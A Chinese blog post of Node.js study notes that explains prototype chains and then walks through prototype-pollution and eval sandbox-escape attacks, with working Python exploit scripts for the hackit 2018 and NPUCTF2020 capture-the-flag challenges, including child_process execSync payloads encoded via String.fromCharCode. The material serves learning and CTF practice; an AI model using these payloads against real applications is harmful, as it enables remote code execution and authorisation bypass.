NodeJs学习

2020-07-20 75次浏览 0条评论  前往评论

前言


学习一波NodeJs

原型


首先要搞清楚prototype__proto__constructor这三个东西。

在JS中,声明一个函数Foo的同时,浏览器会在内存中创建一个对象,然后Foo函数默认有一个属性prototype指向了这个对象,这个对象就是函数Foo的原型对象,简称为函数的原型。这个对象默认会有个属性constructor指向了这个函数Foo。

function Foo(){};
console.log(Foo.prototype)//Foo {}
console.log(Foo.prototype.constructor)//[Function: Foo]

我们可以通过函数Foo创建一个实例对象foo,foo默认会有一个属性__proto__指向了函数Foo的原型对象。

function Foo(){};
var foo = new Foo();
console.log(Foo.prototype)//Foo {}
console.log(foo.__proto__)//Foo {}
//Foo.prototype == foo.__proto__

原型链是就是比如对象调用一个属性eat的时候

  1. 在对象Lee中寻找eat属性
  2. 如果找不到,则在Lee.__proto__中寻找eat属性
  3. 如果仍然找不到,则继续在Lee.__proto__.__proto__中寻找eat属性
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

小结

  • 对象有__proto__constructor两种属性。

对象的__proto__属性,指向对象所在函数的prototype属性。

对象的constructor属性就是指向该对象的构造函数,所有函数最终的构造函数都指向Function

  • 函数有prototype__proto__constructor 三种属性。

函数的prototype指向这个函数的原型对象,并且prototype是函数特有的属性。

题外话:ES6模板字符串

用反引号里面可以加入模板,例如

var fruit = 'apple';
console.log(`i like ${fruit} very much`);

输出

i like apple very much

原型链污染


JS的这种继承是动态的。

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)//Name: Melania Trump

这里修改一下代码

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
son.__proto__['add_name'] = 'kk';
let son1 = new Son();
console.log(`son Name: ${son.add_name}`);//son Name: kk
console.log(`son1 Name: ${son1.add_name}`);//son1 Name: kk

我们可以惊讶的发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1。甚至可以再上一层。

son.__proto__.__proto__['boy'] = '123';
console.log(son1.boy);//123

这里可以对比一下java的

package Test;

class Father{
    public String name;
}
class Son extends Father{
    public Son(){
        super.name = "father";
    }
    void alert() {
        System.out.println("i am son");
    }
}
public class Test {
    public static void main(String args[]) {
        Son s1 = new Son();
        System.out.println(s1.name);//father
        s1.name = "son";
        System.out.println(s1.name);//son
        Son s2 = new Son();
        System.out.println(s2.name);//father
    }
}

可以看到两者的继承方式机制可以说完全不一样的,一个是基于对象来继承,一个是基于原型来继承。

利用手段


以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)//1 2

o3 = {}
console.log(o3.b)//undefined

结果是,合并虽然成功了,但原型链没有被污染。

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

hackit 2018


关键代码如下

var user=[];
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
    matrix[client.row][client.col] = client.data;
    }

获取flag的条件是传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。

由代码可知,全文没有对user.admintokn进行赋值,所以理论上这个值是不存在的,但是下面有一句赋值语句:

matrix[client.row][client.col] = client.data

datarowcol,都是我们post传入的值,都是可控的。所以可以构造原型链污染,下面我们先本地测试一下。

var client = {'row':'__proto__','col':'admintoken'};
var matrix=[];
matrix[client.row][client.col] = 'test';
var user=[]
console.log(user.admintoken)//test

看是可以成功控制user的,这里我们也可以知道原型链污染的条件就是要能够控制键名。

最终payload,要使用json传值,不然会出现错误。

import requests
r = requests.post('http://target/api',json={'row':'__proto__','col':'admintoken','data':'qqq'})
r = requests.get('http://target/admin?querytoken=' + md5sumhex('qqq'))
print r.text

JS中的弱类型


console.log([1]==1);//true
console.log('1'==1);//true
console.log([1]===1);//false
console.log('1'===1);//false

数组[1]==1在两个等于号时候是返回true的,而在三个等于号时候会返回false,这一点是和php一样的。

var a = {'e':'cat /flag'}
var b = "str-1"
var c = a+b
console.log(typeof(a))//object
console.log(typeof(b))//string
console.log(typeof(c))//string
console.log(c)//[object Object]str-1

对象和字符串相加最后得到的是字符串。

var a = [1,2,3]
var b = "haha"
console.log(typeof(a))//object
console.log(typeof(b))//string
console.log(typeof(a+b))//string
console.log(a+b)//1,2,3haha

数组和字符串相加最后也是得到字符串,所以可以基本得出结论就是,nodeJs中任何数据类型和字符串相加最后得到的都是字符串

var num = 123
var str = 'hello'
var b = [1,2,3]
console.log(num.length)//undefined
console.log(str.length)//5
console.log(b.length)//3

长度length 属性对于字符串是返回字符串长度,而数组是返回数组元素个数。而数字是没有length 的。

模块加载与命令执行


在一些沙盒逃逸时我们通常是找到一个可以执行任意命令的payload,若是在ctf比赛中,我们需要getflag时通常是需要想尽办法加载模块来达成特殊要求。

比赛中常见可以通过child_process模块来加载模块,获得execexecfileexecSync

  • 通过require加载模块如下
require('child_process').exec('calc');
  • 通过global对象加载模块
global.process.mainModule.constructor._load('child_process').exec('calc');

对于一些上下文中没有require的情况下,通常是想办法使用后者来加载模块,事实上,NodeJs的Function()并不能找到require这个函数。

有些情况下可以直接用require,如eval()

代码执行

eval("require('child_process').exec('calc');");
setInterval(require('child_process').exec,1000,"calc");
setTimeout(require('child_process').exec,1000,"calc");
Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

这里可以发现对于Function来说上下文并不存在require,需要从global中一路调出来exec。

[NPUCTF2020]验证🐎


题目源码

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

可以看到saferEval函数,我们看到只要绕过正则之后就可以利用在代码执行处所说的eval来执行代码。

看到调用了saferEval的地方有一个绕过,这里需要用到弱类型

if (first && second && first.length === second.length && first!==second &&md5(first+keys[0]) === md5(second+keys[0]))

想要firstsecond 长度一样而他们内容又不相等,但是他们md5加盐后的值又要相等,可以构造如下payload。

{"e":payload,"first":[0],"second":"0"}

利用了任何数据类型加上字符串都会转变称为字符串的特性。同时数组和字符串的长度都是1但是他们却不全等。

import requests
import json
headers = {
    "Content-Type":"application/json"
}
url = "http://32261d67-37fe-46f4-a1ac-6361db9f2bf5.node3.buuoj.cn/"
data = {"e":'1+1',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

saferEval部分构造函数执行任意代码。

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

这里可以使用箭头函数配合Math通过原型获取到Function,使用上面提到的Function,通过global一路调出来exec执行任意命令。

Math=>(Math=Math.constructor,Math.constructor)

Math=>其实是个匿名函数,看几个例子

function (x) {
    return x * x;
}
//x => x * x
function a(x)
//a = x => x*x
console.log((x=>x+x)(2))//4

后面是一个逗号运算,逗号运算我们知道是从左往右运算再最后返回最右边的值,我们由此得知这里是执行这么个运算。

Math.constructor.constructor(.....)

这是什么意思呢

console.log(Math.constructor)//[Function: Object]
console.log(Math.constructor.constructor)//[Function: Function]

Function是构造函数他能够创建函数,可以简单理解他和eval类似,测试一个例子:

var sum = Math.constructor.constructor('a', 'b', 'return a + b')
var fun = new Function('a', 'b', 'return a + b')
console.log(sum(1,2))//3
console.log(fun(1,2))//3

Math.constructor.constructor() 和构造函数new Function() 是等效的,当然其他任意函数也是类似的。

这样虽然可以得到Function,但限于正则我们无法执行命令,这里绕过采用String.fromCharCode,String可以通过变量拼接拼接出一个字符串,再调用constructor获取到String对象。

最终payload

import requests
import json
import re


def payload():
    s = "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
    return ','.join([str(ord(i)) for i in s])
a = payload()
print(a)
print("Start the program:")
url = "http://32261d67-37fe-46f4-a1ac-6361db9f2bf5.node3.buuoj.cn/"
headers = {"Content-Type": "application/json"}
e = "(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({0}))()))(Math+1)".format(a)
data = json.dumps({'e': e, "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)

参考链接


JavaScript原型链污染学习笔记

浅析javascript原型链污染攻击

nodejs一些入门特性&&实战

NPUCTF2020 验证🐎



登录后回复

共有0条评论